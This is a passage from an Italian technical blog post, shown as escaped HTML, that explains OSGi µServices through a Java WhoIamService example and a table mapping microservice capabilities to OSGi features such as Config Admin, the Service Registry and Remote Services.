API (bundle Impl o Service);&lt;/li&gt;&lt;li&gt;uso o consumo del servizio (bundle Client o Consumer).&lt;/li&gt;&lt;/ol&gt;&lt;figure class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;div class=&quot;CodeFigure-module--content--BaGeQ&quot;&gt;&lt;div class=&quot;CodeFigure-module--margin--3Mi0E&quot;&gt;&lt;pre class=&quot;grvsc-container default-dark&quot; data-language=&quot;java&quot; data-index=&quot;1&quot;&gt;&lt;code class=&quot;grvsc-code&quot;&gt;&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk4&quot;&gt;package&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; it.smc.techblog.apache.aries.rsa.examples.whoiam.api;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk3&quot;&gt;/**&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk3&quot;&gt; * &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;@author&lt;/span&gt;&lt;span class=&quot;mtk3&quot;&gt; Antonio Musarra&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk3&quot;&gt; */&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk4&quot;&gt;public&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;interface&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;WhoIamService&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;public&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;String&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;whoiam&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;();&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;figcaption&gt;Source Code 2 - Definizione dell&amp;#x27;interfaccia per il servizio WhoIamService&lt;/figcaption&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;figure class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;div class=&quot;CodeFigure-module--content--BaGeQ&quot;&gt;&lt;div class=&quot;CodeFigure-module--margin--3Mi0E&quot;&gt;&lt;pre class=&quot;grvsc-container default-dark&quot; data-language=&quot;java&quot; data-index=&quot;2&quot;&gt;&lt;code class=&quot;grvsc-code&quot;&gt;&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk4&quot;&gt;package&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; it.smc.techblog.apache.aries.rsa.examples.whoiam.service;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk4&quot;&gt;import&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; it.smc.techblog.apache.aries.rsa.examples.whoiam.api.WhoIamService;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;...&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk3&quot;&gt;/**&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk3&quot;&gt; * &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;@author&lt;/span&gt;&lt;span class=&quot;mtk3&quot;&gt; Antonio Musarra&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk3&quot;&gt; */&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;@&lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;Component&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(immediate=&lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;true&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk4&quot;&gt;public&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;class&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;WhoIamServiceImpl&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;implements&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;WhoIamService&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;  @&lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;Override&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;  &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;public&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;String&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;whoiam&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;() {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;Bundle&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;bundle&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; = &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;_bc&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;getBundle&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;();&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;String&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;hostAddress&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; = &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;NA&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;mtk15&quot;&gt;try&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;      hostAddress = &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;InetAddress&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;getLocalHost&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;().&lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;getHostAddress&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;();&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;mtk15&quot;&gt;catch&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; (&lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;UnknownHostException&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;uhe&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;      &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;_log&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;log&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;_log&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;LOG_ERROR&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;uhe&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;getMessage&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;());&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;String&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;response&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; =&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;      &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;Who I am : {Bundle Id: %s, Bundle Name: %s, Bundle Version: %s, Framework Id: %s, HostAddress: %s}&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;mtk15&quot;&gt;return&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;String&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;format&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;      response, &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;bundle&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;getBundleId&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(), &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;bundle&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;getHeaders&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;().&lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;get&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;        &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;Constants&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;BUNDLE_NAME&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;), &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;bundle&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;getVersion&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(),&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;      &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;_bc&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;getProperty&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;Constants&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;FRAMEWORK_UUID&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;), hostAddress&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    );&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;  }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;  @&lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;Activate&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;  &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;protected&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;void&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;activate&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;BundleContext&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;bundleContext&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    _bc = bundleContext;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;  }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;  &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;private&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;BundleContext&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;_bc&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;  @&lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;Reference&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;  &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;private&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;LogService&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;_log&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;figcaption&gt;Source Code 3 - Implementazione dell&amp;#x27;interfaccia WhoIamService&lt;/figcaption&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;figure class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;div class=&quot;CodeFigure-module--content--BaGeQ&quot;&gt;&lt;div class=&quot;CodeFigure-module--margin--3Mi0E&quot;&gt;&lt;pre class=&quot;grvsc-container default-dark&quot; data-language=&quot;java&quot; data-index=&quot;3&quot;&gt;&lt;code class=&quot;grvsc-code&quot;&gt;&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk4&quot;&gt;package&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; it.smc.techblog.apache.aries.rsa.examples.whoiam.consumer;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk4&quot;&gt;import&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; it.smc.techblog.apache.aries.rsa.examples.whoiam.api.WhoIamService;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;...&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk3&quot;&gt;/**&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk3&quot;&gt; * &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;@author&lt;/span&gt;&lt;span class=&quot;mtk3&quot;&gt; Antonio Musarra&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk3&quot;&gt; */&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;@&lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;Component&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(immediate=&lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;true&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk4&quot;&gt;public&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;class&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;WhoIamConsumer&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;WhoIamService&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;_whoIamService&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    @&lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;Activate&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;public&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;void&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;activate&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;() {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;        &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;System&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;out&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;println&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;Sending to Who I am service&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;        &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;System&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;out&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;println&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;_whoIamService&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;whoiam&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;());&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    @&lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;Reference&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;public&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;void&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;setWhoIamService&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;WhoIamService&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;whoIamService&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;        &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;this&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;_whoIamService&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; = whoIamService;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;figcaption&gt;Source Code 4 - Uso del servizio WhoIamService&lt;/figcaption&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;p&gt;I µServices che abbiamo visto fino a questo momento, in maniera molto sintetica
e direi anche velocemente, sono &lt;strong&gt;in-VM&lt;/strong&gt;, ovvero, l&amp;#x27;intero processo funziona
all&amp;#x27;interno di una singola JVM con un sovraccarico praticamente prossimo allo
zero. Non è richiesto nessun &lt;strong&gt;proxy&lt;/strong&gt;, quindi alla fine una chiamata a servizio
è solo una chiamata diretta al metodo. In questo modello, una buona pratica
impone di far fare una cosa sola al servizio implementato, in questo modo i
servizi sono facili da sostituire e facili da riutilizzare.&lt;/p&gt;&lt;p&gt;Adesso è tempo della fatidica domanda. &lt;strong&gt;È possibile distribuire i µServices su
più container OSGi mantenendo lo stesso pattern (vedi Figura 2)?&lt;/strong&gt; Certamente!
Il come lo vedremo più avanti.&lt;/p&gt;&lt;h2 id=&quot;2-microservices-visti-in-forma-osgi&quot;&gt;2. Microservices visti in forma OSGi&lt;/h2&gt;&lt;p&gt;Si può trovare una diversa definizione di Microservices, ma tutti riconducono al
concetto di uno stile architetturale che favorisca lo sviluppo di sistemi
&lt;strong&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/Loose_coupling&quot;&gt;loose-coupling&lt;/a&gt;&lt;/strong&gt; dove quindi i
componenti abbiamo un basso livello di accoppiamento, siano distribuibili in
modo indipendente, siano in grado di comunicare attraverso protocolli leggeri e
siano testabili e scalabili in modo indipendente.&lt;/p&gt;&lt;p&gt;Ciò implica che i Microservices abbraccino la modularità, in tal senso OSGi è il
framework orientato fin dalla nascita ai &lt;strong&gt;µServices in VM&lt;/strong&gt;. Per essere più
precisi, la tabella a seguire mostra come i diversi concetti espressi dai
Microservices sono associati al mondo OSGi.&lt;/p&gt;&lt;figure class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;div class=&quot;CodeFigure-module--content--BaGeQ&quot;&gt;&lt;div class=&quot;CodeFigure-module--margin--3Mi0E&quot;&gt;&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th style=&quot;width:150px&quot;&gt;Capacità&lt;/th&gt;&lt;th&gt;Funzionalità OSGi abilitante&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Configuration Management&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;OSGi Config Admin definito nelle specifiche OSGi Compendium&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Service Discovery&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;OSGi Service Registry definito nelle specifiche OSGi Core&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Dynamic Routing&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;Il routing dinamico tra servizi (in moduli potenzialmente diversi) può essere stabilito mediante filtri OSGi che consentono il recupero di un riferimento di servizio utilizzando una sintassi simile a &lt;a href=&quot;https://tools.ietf.org/html/rfc4515&quot;&gt;LDAP&lt;/a&gt; (RFC-4515) basata sulle proprietà del servizio&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;API Interface&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;La specifica OSGi Remote Services definisce un meccanismo per l&amp;#x27;esposizione dei servizi OSGi al mondo esterno (fornendo effettivamente un meccanismo per la definizione di un&amp;#x27;API pubblica del modulo)&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Security&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;Alcune funzionalità (come il controllo delle autorizzazioni) sono fornite da &lt;a href=&quot;https://docs.osgi.org/specification/osgi.core/7.0.0/service.permissionadmin.html&quot;&gt;Permission Admin&lt;/a&gt; e &lt;a href=&quot;https://docs.osgi.org/specification/osgi.core/7.0.0/service.condpermadmin.html&quot;&gt;Conditional Permission Admin&lt;/a&gt; definiti dalla specifica OSGi. Ulteriori 